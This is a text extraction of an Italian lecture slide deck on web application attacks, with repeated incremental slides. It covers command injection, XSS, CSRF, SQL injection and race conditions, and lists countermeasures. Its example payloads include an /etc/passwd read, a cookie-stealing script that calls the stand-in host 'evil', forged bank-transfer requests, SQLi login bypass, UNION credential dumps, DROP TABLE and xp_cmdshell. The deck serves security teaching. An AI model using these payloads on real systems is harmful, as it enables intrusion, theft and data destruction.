attacchi web - artificialstudios.org

annuncio pubblicitario
Sicurezza delle applicazioni web: attacchi web
Luca Giancane
[email protected]
L. Giancane
Attacchi web
1 / 30
Sommario
1
Introduzione
2
Command injection
3
Attacchi client-side: CSS e CSRF
Cross-Site Scripting
Cross-Site Request Forgery
4
Attacchi server-side: SQL injection
Esempi
Tecniche d’attacco
5
Problemi di concorrenza
L. Giancane
Attacchi web
2 / 30
OWASP Top Ten (20010rc1)
1
injection
2
Cross Site Scripting (XSS)
3
broken authentication and session management
4
insecure direct object references
5
Cross Site Request Forgery (CSRF)
6
security misconfiguration
7
failure to restrict URL Access
8
unvalidated redirects and forwards
9
insecure cryptographic storage
10
insufficient transport layer protection
L. Giancane
Attacchi web
3 / 30
Command injection
linguaggi di lato server consentono l’esecuzione di comandi
(e.g., system(), exec(), popen())
nome e argomenti passati tramite stringa, spesso generati
dinamicamente
⇒ mancata sanitizzazione può introdurre vulnerabilità
L. Giancane
Attacchi web
4 / 30
Command injection
linguaggi di lato server consentono l’esecuzione di comandi
(e.g., system(), exec(), popen())
nome e argomenti passati tramite stringa, spesso generati
dinamicamente
⇒ mancata sanitizzazione può introdurre vulnerabilità
Esempio: ricerca di uno User-Agent nei log
...
system(’cut −d \” −f 6 /var/log/apache2/access.log | grep −i ’. $ GET[’chiave’]);
...
L. Giancane
Attacchi web
4 / 30
Command injection
linguaggi di lato server consentono l’esecuzione di comandi
(e.g., system(), exec(), popen())
nome e argomenti passati tramite stringa, spesso generati
dinamicamente
⇒ mancata sanitizzazione può introdurre vulnerabilità
Esempio: ricerca di uno User-Agent nei log
...
system(’cut −d \” −f 6 /var/log/apache2/access.log | grep −i ’. $ GET[’chiave’]);
...
⇒ http://www.ex.com/user_agent_stat.php?chiave=a;%20cat%20/etc/passwd
L. Giancane
Attacchi web
4 / 30
Command injection
linguaggi di lato server consentono l’esecuzione di comandi
(e.g., system(), exec(), popen())
nome e argomenti passati tramite stringa, spesso generati
dinamicamente
⇒ mancata sanitizzazione può introdurre vulnerabilità
Esempio: ricerca di uno User-Agent nei log
...
system(’cut −d \” −f 6 /var/log/apache2/access.log | grep −i ’. $ GET[’chiave’]);
...
⇒ http://www.ex.com/user_agent_stat.php?chiave=a;%20cat%20/etc/passwd
Altri esempi
interpretazione dinamica di codice (e.g.,
eval($ GET[’a’]))
inclusione di file remoti
L. Giancane
Attacchi web
4 / 30
Attacchi client-side
I
sfruttano la fiducia che un utente ha di un sito web (XSS), o
viceversa (CSRF)
1
l’attaccante modifica la pagina HTML originale, aggiungendo
codice (HTML o JavaScript)
2
la vittima si collega al server vulnerabile che restituisce la
pagina modificata (e.g., link in e-mail, IM, link sulla rete)
3
il browser interpreta il codice iniettato dall’attaccante
L. Giancane
Attacchi web
5 / 30
Attacchi client-side
I
sfruttano la fiducia che un utente ha di un sito web (XSS), o
viceversa (CSRF)
1
l’attaccante modifica la pagina HTML originale, aggiungendo
codice (HTML o JavaScript)
2
la vittima si collega al server vulnerabile che restituisce la
pagina modificata (e.g., link in e-mail, IM, link sulla rete)
3
il browser interpreta il codice iniettato dall’attaccante
Obiettivi dell’attacco
sniffing di cookie associati al dominio vulnerabile
manipolazione form di login
esecuzione di GET/POST addizionali
. . . qualunque cosa si possa fare con HTML + JavaScript!
L. Giancane
Attacchi web
5 / 30
Cross-Site Scripting (XSS)
Obiettivo
accesso non autorizzato ad informazioni presenti sul client
attacco basato sulla mancanza di controlli sull’input
alterazione della pagina web originale, con aggiunta di codice
JavaScript o HTML
il browser del client, “fidandosi” del server web, interpreta la
pagina modificata
i dati che si possono ottenere dipendono dalla policy di
sicurezza JavaScript (e.g., no file ma cookie)
molto (troppo. . . ) diffusi!
L. Giancane
Attacchi web
6 / 30
Reflected Cross-Site Scripting
Esempio
1
pagina PHP lato server:
Benvenuto <?php echo $_GET[’nome’]; ?>
L. Giancane
Attacchi web
7 / 30
Reflected Cross-Site Scripting
Esempio
1
pagina PHP lato server:
Benvenuto <?php echo $_GET[’nome’]; ?>
2
link inviato alla vittima:
<a href="http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>" >link</a>
L. Giancane
Attacchi web
7 / 30
Reflected Cross-Site Scripting
Esempio
1
pagina PHP lato server:
Benvenuto <?php echo $_GET[’nome’]; ?>
2
link inviato alla vittima:
<a href="http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>" >link</a>
3
richiesta HTTP creata dal browser:
GET /vuln.php?nome=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F
evil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E
Host: vulnerabile
...
L. Giancane
Attacchi web
7 / 30
Reflected Cross-Site Scripting
Esempio
1
pagina PHP lato server:
Benvenuto <?php echo $_GET[’nome’]; ?>
2
link inviato alla vittima:
<a href="http://vulnerabile/vuln.php?nome=<script>document.location=
’http://evil/log.php?’+document.cookie</script>" >link</a>
3
richiesta HTTP creata dal browser:
GET /vuln.php?nome=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F
evil%2Flog.php%3F%27%2Bdocument.cookie%3C%2Fscript%3E
Host: vulnerabile
...
4
HTML generato dal server:
Benvenuto <script>document.location=
’http://evil/log.php?’+document.cookie</script>
L. Giancane
Attacchi web
7 / 30
Reflected Cross-Site Scripting
1
una pagina dinamica è vulnerabile a XSS
2
utente indotto ad accedere alla pagina vulnerabile
3
exploit contenuto nell’URL
L. Giancane
Attacchi web
8 / 30
Reflected Cross-Site Scripting
1
una pagina dinamica è vulnerabile a XSS
2
utente indotto ad accedere alla pagina vulnerabile
3
exploit contenuto nell’URL
Offuscamento
tecniche di encoding
nascondere il link con l’exploit dalla barra di stato
un link innocuo effettua un redirect (HTTP 3xx)
L. Giancane
Attacchi web
8 / 30
Stored Cross-Site Scripting
Fase 1
l’attaccante invia al server il codice da iniettare
il server memorizza in modo persistente il codice (e.g.,
database)
L. Giancane
Attacchi web
9 / 30
Stored Cross-Site Scripting
Fase 1
l’attaccante invia al server il codice da iniettare
il server memorizza in modo persistente il codice (e.g.,
database)
Fase 2
il client si collega al server
il server genera la pagina inserendo anche il codice iniettato
L. Giancane
Attacchi web
9 / 30
Stored Cross-Site Scripting
Fase 1
l’attaccante invia al server il codice da iniettare
il server memorizza in modo persistente il codice (e.g.,
database)
Fase 2
il client si collega al server
il server genera la pagina inserendo anche il codice iniettato
Osservazioni
tutti gli utenti che richiederanno la pagina subiranno l’attacco
il codice ineittato non è visibile in un URL
molto più pericoloso rispetto ai reflected!
L. Giancane
Attacchi web
9 / 30
Cross-Site Request Forgery (XSRF)
Obiettivo
far eseguire delle azioni alle vittime, sfruttando le loro credenziali
(e.g., cookie di sessione)
tramite JavaScript non è possibile accedere ai cookie di un
altro dominio
XSS ⊂ CSRF, ossia XSS =⇒ CSRF
CSRF è possibile anche senza XSS
CSRF reflected e stored
samy is my hero → virus JavaScript che sfrutta CSRF
. . . forse non ancora utilizzati per creare danni tangibili
L. Giancane
Attacchi web
10 / 30
Stored CSRF (GET)
Esempio
1
la vittima si collega a http://www.mia-banca.it/ e si
autentica
2
la vittima apre un’altra istanza del browser (tab o finestra) e
si collega ad un sito maligno
3
la pagina maligna contiene:
<img src=”http://www.mia−banca.it/traferisci.php?to=1337&amount=10000”/>
4
il browser crea una richiesta HTTP con il il Cookie
appropriato. . .
L. Giancane
Attacchi web
11 / 30
Stored CSRF (GET)
Esempio
1
la vittima si collega a http://www.mia-banca.it/ e si
autentica
2
la vittima apre un’altra istanza del browser (tab o finestra) e
si collega ad un sito maligno
3
la pagina maligna contiene:
<img src=”http://www.mia−banca.it/traferisci.php?to=1337&amount=10000”/>
4
il browser crea una richiesta HTTP con il il Cookie
appropriato. . .
Osservazioni
tramite JavaScript è possibile creare richieste GET/POST
il sito maligno non deve essere necessariamente dinamico!
L. Giancane
Attacchi web
11 / 30
Stored CSRF (POST)
Esempio
Assunzione
l’attaccante ha il pieno accesso alla pagina HTML e può usare AJAX
1
la vittima si collega a http://www.banca-vulnerabile.it
e si autentica
2
la vittima richiede una pagina da un sito maligno
3
server maligno restituisce:
var http = false; var body = ”to=1337&amount=10000”;
http = new XMLHttpRequest();
http.onreadystatechange = handleResponse;
http.open(”POST”, ”http://www.banca−vulnerabile.it/trasferisci.php”, true);
http.setRequestHeader(”Content−type”, ”application/x−www−form−urlencoded”);
http.setRequestHeader(”Content−length”, body.length);
http.send(body);
function handleResponse() { .... }
4
per banca-vulnerabile, la richiesta è indistinguibile da una
lecita
L. Giancane
Attacchi web
12 / 30
XSS/CSRF: Contromisure
Lato client
reflected XSS: se l’attacco è visibile nella URL può essere
facilmente evitato passando dalla root del dominio
estensioni per Firefox: NoScript
non visitare altri siti quando utilizza il conto on-line, effettuare
sempre il logout
Lato server
l’input va sempre considerato insicuro, vanno applicate le
corrette funzioni di sanitizzazione (e.g., htmlspecialchars())
Per CSRF:
CAPTCHA (funzionano sempre?), PIN da inserire per ogni
transazione importante
parametri nascosti (e.g., campi hidden) passati tra le varie
pagine dell’applicazione
L. Giancane
Attacchi web
13 / 30
SQL injection (SQLI)
Scenario
molte applicazioni web hanno la necessità di memorizzare dati
strutturati (e.g., forum, CMS, e-commerce, blog, . . . )
⇒ database
L. Giancane
Attacchi web
14 / 30
SQL injection (SQLI)
Scenario
molte applicazioni web hanno la necessità di memorizzare dati
strutturati (e.g., forum, CMS, e-commerce, blog, . . . )
⇒ database
SQLI
mancata validazione dell’input
le query generate dall’applicazione contengono input
I
si ha SQLI quando, manipolando l’input, è possibile
modificare elementi sintattici di una query SQL
L. Giancane
Attacchi web
14 / 30
SQL injection
Esempio (PHP)
1
2
3
4
5
6
7
8
$nome = $ POST[’nome’];
$passw = $ POST[’passw’];
$result = mysql query(”SELECT ∗ FROM Utenti ” .
”WHERE nome=’$nome’ AND passw=’$passw’;”);
if(mysql num rows($result) > 0 ) {
...
}
1
nome = mario ∧ passw = xyz
→ ... WHERE nome=’mario’ AND passw=’xyz’;
L. Giancane
Attacchi web
15 / 30
SQL injection
Esempio (PHP)
1
2
3
4
5
6
7
8
$nome = $ POST[’nome’];
$passw = $ POST[’passw’];
$result = mysql query(”SELECT ∗ FROM Utenti ” .
”WHERE nome=’$nome’ AND passw=’$passw’;”);
if(mysql num rows($result) > 0 ) {
...
}
1
nome = mario ∧ passw = xyz
→ ... WHERE nome=’mario’ AND passw=’xyz’;
2
nome = admin ∧ passw = xyz’ OR ’1’=’1
→ ... WHERE nome=’admin’ AND passw=’xyz’ OR ’1’=’1’;
. . . quali righe seleziona l’ultima query?
L. Giancane
Attacchi web
15 / 30
SQLI: Sorgenti d’iniezione
Input utente e header HTTP
Input dell’utente
parametri GET/POST
molte tecnologie client-side comunicano col server tramite
GET/POST (e.g., Flash, applet Java, AJAX)
Header HTTP
tutti gli header HTTP devono essere considerati pericolosi
User-Agent, Referer,. . . possono essere stati manipolati
L. Giancane
Attacchi web
16 / 30
SQLI: Sorgenti d’iniezione
Cookie e second order injection
Cookie
sono header aggiuntivi
non modificabili da un normale browser
provengono dal client ⇒ pericolosi
L. Giancane
Attacchi web
17 / 30
SQLI: Sorgenti d’iniezione
Cookie e second order injection
Cookie
sono header aggiuntivi
non modificabili da un normale browser
provengono dal client ⇒ pericolosi
Second order injection
l’input viene memorizzato dall’applicazione (file,database)
successivamente, l’input è utilizzato per la costruzione di
query SQL
L. Giancane
Attacchi web
17 / 30
SQLI: Obiettivi dell’attacco
Obiettivo
Descrizione
identificazione dei parametri
iniettabili
database footprinting
identificare le sorgenti d’iniezione
determinazione DB schema
estrazione dati
manipolazione dei dati
denial of service
bypassing dell’autenticazione
esecuzione remota di comandi
L. Giancane
scoprire tipo e versione del DBMS in uso;
facilitato da una gestione inadeguata degli
errori
determinare nome delle tabelle, nome e tipo
delle colonne
estrazione di dati (sensibili) dal database
inserimento, modifica o cancellazione dei
dati
impedire che altri utenti possano utilizzare
l’applicazione (LOCK, DELETE, . . . )
eludere un meccanismo di autenticazione
esecuzione di comandi esterni al DBMS,
stored procedure, . . .
Attacchi web
18 / 30
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
1
query dell’applicazione:
$q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”;
L. Giancane
Attacchi web
19 / 30
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
1
query dell’applicazione:
$q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”;
2
parametri inviati dall’attaccante:
$user = ”admin”;
$pass = ”’ OR ’1’=’1”;
L. Giancane
Attacchi web
19 / 30
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
1
query dell’applicazione:
$q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”;
2
parametri inviati dall’attaccante:
$user = ”admin”;
$pass = ”’ OR ’1’=’1”;
3
query eseguita dall’applicazione:
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’”;
L. Giancane
Attacchi web
19 / 30
SQLI: Alcuni esempi
Bypass dell’autenticazione tramite “tautologie”
1
query dell’applicazione:
$q = ”SELECT id FROM utente WHERE user=’”.$user.”’ AND pass=’”.$pass.”’”;
2
parametri inviati dall’attaccante:
$user = ”admin”;
$pass = ”’ OR ’1’=’1”;
3
query eseguita dall’applicazione:
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR ’1’=’1’”;
I
se l’applicazione Web avesse sanitizzato l’input (e.g.,
mysql escape string()):
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’\’ OR \’\’=\’’”;
L. Giancane
Attacchi web
19 / 30
SQLI: Alcuni esempi
Altre “tautologie”
utilizzo di commenti SQL inline per evitare di terminare
correttamente la query
$pass = ”’ OR 1=1 −− ”;
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 – ’”;
$pass = ”’ OR 1 −− ”;
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 – ’”;
$user = ”admin’ #”;
$q = ”SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’”;
L. Giancane
Attacchi web
20 / 30
SQLI: Alcuni esempi
Altre “tautologie”
utilizzo di commenti SQL inline per evitare di terminare
correttamente la query
$pass = ”’ OR 1=1 −− ”;
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 – ’”;
$pass = ”’ OR 1 −− ”;
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 – ’”;
$user = ”admin’ #”;
$q = ”SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’”;
scelta “blind” del primo user disponibile
$user = ”’ OR user LIKE ’%’ #”;
$q = ”SELECT id FROM utente WHERE user=’’ OR user LIKE ’%’ #’ AND pass=’’”;
$user = ”’ OR 1 # ”;
$q = ”SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’”;
L. Giancane
Attacchi web
20 / 30
SQLI: Alcuni esempi
Altre “tautologie”
utilizzo di commenti SQL inline per evitare di terminare
correttamente la query
$pass = ”’ OR 1=1 −− ”;
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1=1 – ’”;
$pass = ”’ OR 1 −− ”;
$q = ”SELECT id FROM utente WHERE user=’admin’ AND pass=’’ OR 1 – ’”;
$user = ”admin’ #”;
$q = ”SELECT id FROM utente WHERE user=’admin’ #’ AND pass=’’”;
scelta “blind” del primo user disponibile
$user = ”’ OR user LIKE ’%’ #”;
$q = ”SELECT id FROM utente WHERE user=’’ OR user LIKE ’%’ #’ AND pass=’’”;
$user = ”’ OR 1 # ”;
$q = ”SELECT id FROM utente WHERE user=’’ OR 1 #’ AND pass=’’”;
elusione di IDS
$pass = ”’ OR 5>4 OR password=’prova”;
$pass = ”’ OR ’vulnerabilita’>’server”;
L. Giancane
Attacchi web
20 / 30
Tecniche d’attacco SQLI
UNION Query
esempio di query:
$q = ”SELECT id, nome, prezzo, descrizione” .
”FROM prodotto WHERE categoria=” . $ GET[’cat’];
parametri passati dall’attaccante:
$cat = ”1 UNION SELECT 1, user, 1, pass FROM utente”;
numero e tipo di colonne della prima
con quelli della seconda
SELECT
devono coincidere
MySQL: una mancata corrispondenza fra i tipi provoca cast
automatici
$cat = ”1 UNION SELECT 1, 1, user, pass FROM utente”;
L. Giancane
Attacchi web
21 / 30
Tecniche d’attacco SQLI
Second order injection
username inserito dall’attaccante:
$user = ”admin’#”;
durante l’inserimento nel database, $user viene sanitizzato
correttamente
L. Giancane
Attacchi web
22 / 30
Tecniche d’attacco SQLI
Second order injection
username inserito dall’attaccante:
$user = ”admin’#”;
durante l’inserimento nel database, $user viene sanitizzato
correttamente
l’utente chiede di cambiare la propria password, ma i dati non
sono correttamente sanitizzati:
$q = ”UPDATE utente SET pass=’” . $ POST[’newPass’] . ”’
WHERE user=’” . $row[’user’] . ”’”;
query eseguita dall’applicazione:
$q = ”UPDATE utente SET pass=’password’ WHERE user=’admin’#’”;
L. Giancane
Attacchi web
22 / 30
Tecniche d’attacco SQLI
Piggy-backed
Obiettivo
eseguire un numero arbitrario di query
esempio di query:
$q = ”SELECT id FROM utente WHERE user=’” . $user .
”’ AND pass=’” . $pass . ”’”;
parametri passati dall’attaccante:
$user = ”’; DROP TABLE utente −− ”;
L. Giancane
Attacchi web
23 / 30
Tecniche d’attacco SQLI
Piggy-backed
Obiettivo
eseguire un numero arbitrario di query
esempio di query:
$q = ”SELECT id FROM utente WHERE user=’” . $user .
”’ AND pass=’” . $pass . ”’”;
parametri passati dall’attaccante:
$user = ”’; DROP TABLE utente −− ”;
query eseguita dall’applicazione:
$q = ”SELECT id FROM utente WHERE user=’’; DROP TABLE utente – ’ AND pass=”;
entrambe le query vengono eseguite!
L. Giancane
Attacchi web
23 / 30
Tecniche d’attacco SQLI
Query illogica-Illegale
Obiettivo
recuperare informazioni su tabelle, DBMS, . . .
esempio di attacco:
$user = ”’ HAVING 1=1 −− ”;
query eseguita dall’applicazione:
SELECT ∗ FROM users WHERE username=’’ HAVING 1=1 – ’ AND password=’’
possibile risposta del server:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.asp, line 35
L. Giancane
Attacchi web
24 / 30
Tecniche d’attacco SQLI
Stored Procedure
MSSQL mette a disposizione circa 1000 stored procedure, per
gestione database, creazione tabelle, gestione dati esterni, . . .
xp cmdshell consente l’esecuzione di comandi sulla macchina
esempio:
’; EXEC master..xp cmdshell ’dir c:’ −−
L. Giancane
Attacchi web
25 / 30
SQLI: Contromisure
Sanitizzazione dei dati
affidata ai programmatori
i programmatori spesso si affidano a metodi “automagici”
(e.g., in PHP, magic quotes gpc fa escaping tramite
addslashes())
la sanitizzazione dipende dall’attacco contro cui ci si vuole
proteggere!
sanitizzazione tramite regexp può essere “tricky”
se ci aspetta un numero come parametro, verificare che sia
tale
. . . è possibile costruire stringhe senza utilizzare apici
(AAA ⇔ char(65,65,65))
L. Giancane
Attacchi web
26 / 30
Concurrency in web applications: an introduction
Single request
web browser
page request
web server
spawn new worker
interpreter
script
DB
L. Giancane
Attacchi web
query
27 / 30
Concurrency in web applications: an introduction
Multiple parallel requests
web browser1
web browser2
page request
page request
web server
spawn new worker
interpreter
interpreter
script
script
query
L. Giancane
spawn new worker
DB
Attacchi web
query
27 / 30
Concurrency in web applications: an introduction
Multiple parallel requests
web browser1
web browser2
page request
page request
web server
spawn new worker
spawn new worker
interpreter
interpreter
script
script
concurrent DB access
query
L. Giancane
DB
Attacchi web
query
27 / 30
Concurrency in web applications
le applicazioni web sono composte da diversi script che
eseguono operazioni ben definite e sequenziali
script tipicamente accedono ad alcune risorse condivise (e.g.,
database)
diverse istanze dello script eseguite contemporaneamente
race conditions sono ben conosciute, ma non investigato il
loro impatto nelle web-apps
L. Giancane
Attacchi web
28 / 30
Concurrency in web applications
le applicazioni web sono composte da diversi script che
eseguono operazioni ben definite e sequenziali
script tipicamente accedono ad alcune risorse condivise (e.g.,
database)
diverse istanze dello script eseguite contemporaneamente
race conditions sono ben conosciute, ma non investigato il
loro impatto nelle web-apps
Problem
i programmatori web non concepiscono le loro applicazioni come
multi-thread o multi-processo
parallelismo inaspettato, quindi interazioni non previste
le primitive di sincronizzazione vengono usate raramente e
dipendono dal sistema
L. Giancane
Attacchi web
28 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
L. Giancane
P2
Data
Line
Data
Attacchi web
Database
ID
Credit
50
2500
92
820
123
1000
205
1200
...
...
29 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
Data
(id: 123, credit: 1000)
L. Giancane
P2
Line
⊥
Data
⊥
Attacchi web
Database
ID
Credit
50
2500
92
820
123
1000
205
1200
...
...
29 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
4
Data
(id: 123, credit: 1000)
(id: 123, credit: 1000)
L. Giancane
P2
Line
⊥
1
Data
⊥
⊥
Attacchi web
Database
ID
Credit
50
2500
92
820
123
1000
205
1200
...
...
29 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
4
4
Data
(id: 123, credit: 1000)
(id: 123, credit: 1000)
(id: 123, credit: 1000)
L. Giancane
P2
Line
⊥
1
2
Data
⊥
⊥
(id: 123, credit: 1000)
Attacchi web
Database
ID
Credit
50
2500
92
820
123
1000
205
1200
...
...
29 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
4
4
5
(id:
(id:
(id:
(id:
Data
123, credit:
123, credit:
123, credit:
123, credit:
L. Giancane
P2
1000)
1000)
1000)
1000)
Line
⊥
1
2
4
Data
⊥
⊥
(id: 123, credit: 1000)
(id: 123, credit: 1000)
Attacchi web
Database
ID
Credit
50
2500
92
820
123
1000
205
1200
...
...
29 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
4
4
5
(id:
(id:
(id:
(id:
Data
123, credit:
123, credit:
123, credit:
123, credit:
L. Giancane
P2
1000)
1000)
1000)
1000)
Line
⊥
1
2
4
Data
⊥
⊥
(id: 123, credit: 1000)
(id: 123, credit: 1000)
Attacchi web
Database
ID
Credit
50
2500
92
820
123
200
205
1200
...
...
29 / 30
Concurrency in web applications
Motivating example
1
2
3
4
5
6
$res = mysql_query(SELECT credit FROM Users WHERE id=$id);
$row = mysql_fetch_assoc($res);
if($row[’credit’] >= 800) {
<execute the requested operation>
$new_credit = $row[’credit’] - 800;
$res = mysql_query(UPDATE Users SET credit=$new_credit .
WHERE id=$id);
}
P1
Line
2
4
4
5
(id:
(id:
(id:
(id:
Data
123, credit:
123, credit:
123, credit:
123, credit:
L. Giancane
P2
1000)
1000)
1000)
1000)
Line
⊥
1
2
4
Data
⊥
⊥
(id: 123, credit: 1000)
(id: 123, credit: 1000)
Attacchi web
Database
ID
Credit
50
2500
92
820
123
200
205
1200
...
...
29 / 30
Scarica